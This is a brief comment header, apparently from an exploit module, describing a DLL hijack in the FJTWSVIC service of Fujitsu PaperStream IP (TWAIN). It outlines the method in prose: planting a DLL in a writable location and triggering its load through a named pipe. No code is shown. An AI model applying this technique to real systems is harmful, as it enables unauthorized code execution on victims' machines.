# A DLL hijack vulnerability exists in the FJTWSVIC service running as part of
# the Fujitsu PaperStream IP (TWAIN) software package. This exploit searches
# for a writable location, copies the specified DLL to that location and then
# triggers the DLL load by sending a message to FJTWSVIC over the FjtwMkic_Fjicube_32
# named pipe.
